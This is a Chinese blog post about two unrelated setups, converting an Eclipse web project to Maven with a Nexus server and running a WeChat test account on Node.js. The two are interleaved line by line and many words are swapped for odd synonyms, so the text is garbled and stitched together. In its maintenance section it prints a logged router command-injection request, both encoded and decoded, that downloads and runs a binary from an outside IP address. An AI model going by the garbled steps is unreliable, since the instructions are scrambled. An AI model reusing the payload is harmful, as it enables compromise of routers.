把web项目改造为maven项目

【微信测试公众号】

如题,资料网上有一大堆,这里是实施了做个规整。

半年前耍着玩搭起来的“微信简历”,是LAMP版的,很肤浅。

【注意】maven配置

微信的合法文档在这 http://mp.weixin.qq.com/wiki/index.php

maven要运行在JDK:外部JAVA_HOME指定到JDK,eclipse中runtime指定到JDK

1.获取access token

在eclipse中配置好maven的目录功用,可以事半功倍(在Maven
Repositories面板中安排)

2.自定义菜单创立,直接在调试工具上做了 http://mp.weixin.qq.com/debug

下载整个索引步骤见网址:

3.衔接指南(接入自己的网站)

http://www.cnblogs.com/mingforyou/archive/2013/08/23/3276864.html

4.收取微信音讯,判断音讯类型,判断消息根本字(比如来自哪个按钮),响应音讯

 

这边有个小坑,不同门类的音信数据结构略有不同,判空最好做细致点。

【步骤】eclipse中把web项目转为maven项目

 

关键步骤可以参考网上的随笔

【V2.0 换nodejs后台】

http://zk1878.iteye.com/blog/1222330

用惯LAMP和汤姆cat+SpringMVC,刚接触nodejs硬是看傻眼了~服务器呢?容器呢?要自己在js里监听端口。。。好伐,看着API查着demo搞起~于是起初填坑之旅啦~

可以专程关爱之下操作:

1.微信的音信是xml格式,解析需要工具,比如xml2js

在品种上右键Configure—>convert to Maven project

—>干脆直接找到个微信的框架node-wechat,瞄了一下凭借,底层就是xml2js,不用再行发明轮子了~认证部分sha1阐明也不用自己写~

借助于到的自建Maven项目也可以引入到dependency并设置功效域为compile

2.js文本放上Ubuntu服务器用node启动不了~【Error: listen EACCES】

在项目上右键属性—>Deployment Assembly要安排web项目布局路径

—>查了弹指间是服务器80端口要用root运行~不想sudo让脚本权限太高,只可以在iptables里把80端口的走访转发到诸如8080~终于跑起来了。

 

3.微信信息的数据结构细节问题,比如没专门判断是否文本音讯就取Content字段导致类似空指针错误。细心点就能迎刃而解的。

【步骤】编写pom.xml

—>为此还特别进去看了一晃node-wechat/index.js的代码,框架的作者依旧蛮细致的,该处理的都处理了。

在中心仓查找类库坐标

4.健壮性:随便一个非微信请求就会Exception奔溃退出。—>在js代码里投入try…catch却浑然不起效用。

http://mvnrepository.com/

—>因为框架的统筹是遵照事件监听的形式,许多异步和回调的操作,不用try…catch捕捉,而是要用process.on(‘uncaughtException’,
callback)去处理。

假使eclipse中配置好了maven索引,可以一向在pom文件的Dependencies视图添加

5.日志。直接记录未解析的req对象拿到的是[object],记录解析后的目标则取不到那一个无效的伸手。

核心仓找不到的类包,可以mvn install:install-file
命令安装到地点库,例如:

—>不想太复杂又引入日志框架,直接把写文件的代码嵌入到微信的框架里,在读入请求流req.on(‘end’,
callback)里记录请求,完事~

mvn install:install-file -Dfile=kaptcha-2.1.1.jar
-DgroupId=com.google.code.kaptcha -DartifactId=kaptcha -Dversion=2.1.1
-Dpackaging=jar

6.守护进程。node监听端口是手动调用的,所以,进程启动也要团结手动去做。—>不想挂nohup,就设置了又一个node框架forever,而且要-g形式安装。

 

时至前几日,测试公众号到底跑起来啦!

【注意】版本争论

 

NoSuchMethodError:GenericTypeResolver.resolveReturnTypeForGenericMethod

【前期维护】

资料如下

过了两天没事上去检查日志,貌似仍旧无法很快乐地嬉戏~

http://engineering.wix.com/2013/04/25/maven-classpath-hell-nosuchmethoderror-when-building-a-spring-context/

1.Caught exception: TypeError: Cannot read property ‘xml’ of null

案由是Spring-Context-Support引用了高版本Spring3.2,但项目中运用的是低版本Spring2.1不设有那多少个措施。解决办法是统一版本。

非微信请求,比如直接敲网址。反正错误已掀起了,就不处理了。想更健壮些能够对http请求做判定和日志。

 

 

【步骤】自己搭建nexus私服

2.可疑伸手

重在步骤如下:

#请求的原内容
%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%35%63%37%30%36%62%64%63%20%68%74%74%70%3a%2f%2f%32%30%36%2e%32%31%37%2e%31%35%2e%36%30%3a%33%32%30%30%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%2e%2f%2e%35%63%37%30%36%62%64%63%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31

#解码后
submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > .5c706bdc.sh;echo "wget -O .5c706bdc http://206.217.15.60:3200" >> .5c706bdc.sh;echo "chmod +x .5c706bdc" >> .5c706bdc.sh;echo "./.5c706bdc" >> .5c706bdc.sh;echo "rm .5c706bdc" >> .5c706bdc.sh;chmod +x .5c706bdc.sh;./.5c706bdc.sh`&StartEPI=1

http://www.360doc.com/content/14/0514/09/1906950_377442397.shtml

 whois查了一晃ip是个奇怪的域名,网站为空,目测是个八九不离十爬虫的事物。

非root账户最好先用root配置sudo命令/etc/sudoers

查了眨眼之间间要害字,发现是在乌云上登记的尾巴, http://www.wooyun.org/bugs/wooyun-2013-021321
基本上可以断定,就是个扫描攻击路由器的蠕虫~

解决wrapper  | Unable to start JVM: No such file or directory:

业已把除了80和22以外的端口封掉了,然则请求就是从80端口进入的,没办法~

在/nexus/bin/jsw/conf/wrapper.conf旅长wrapper.java.command改为相对路径

同时只是针对路由器的攻击,在自我的拔取中只是一堆编码,没威吓~况且故意跑了弹指间wget命令,也连不上,估量攻击方已经更换了~

搭建完成后安排仓库

 

http://www.iteye.com/topic/1126678

3.开机无法自动启动——防火墙设置

 

iptables端口重定向设置,一重启就被重置。尝试了官网保存设置的点子
http://wiki.ubuntu.org.cn/IptablesHowTo\#Saving\_iptables\_.E4.BF.9D.E5.AD.98.E8.AE.BE.E7.BD.AE
是立竿见影了,不过一般把云主机上的装置给覆盖了,导致22端口连不上,整台云主机就如此废掉了~~~找客服运维太麻烦了,直接重装了~~~

捣腾了一些回,最终决定在/etc/rc.local里添加命令,每一次开机配置~成功~

 

4.开机不可能自行启动——node应用自动启动

开始是用forever框架来治本应用,发现机器重启后接纳并无法活动启动,还要其余安装checkconfig之类的服务器的部分程序,从简单的角度出发,依然依然交给rc.local吧~

下一场为了后台运行且毫无root运行以免权限太大,配合了nohup和su命令,重启后如梦想的这样~

su -c "nohup nodejs /home/mydir/my.js > /home/mydir/console.log 2>&1 &" myuser

 

5.warning: possible EventEmitter memory leak detected. 11 listeners
added.  Use emitter.setMaxListeners() to increase limit.

一口气开了太多监听事件,但框架就这样设计的,只可以把范围设大呗~其实也不碍事~

 

好啊,终于填平所有坑,可以畅快地嬉戏啦~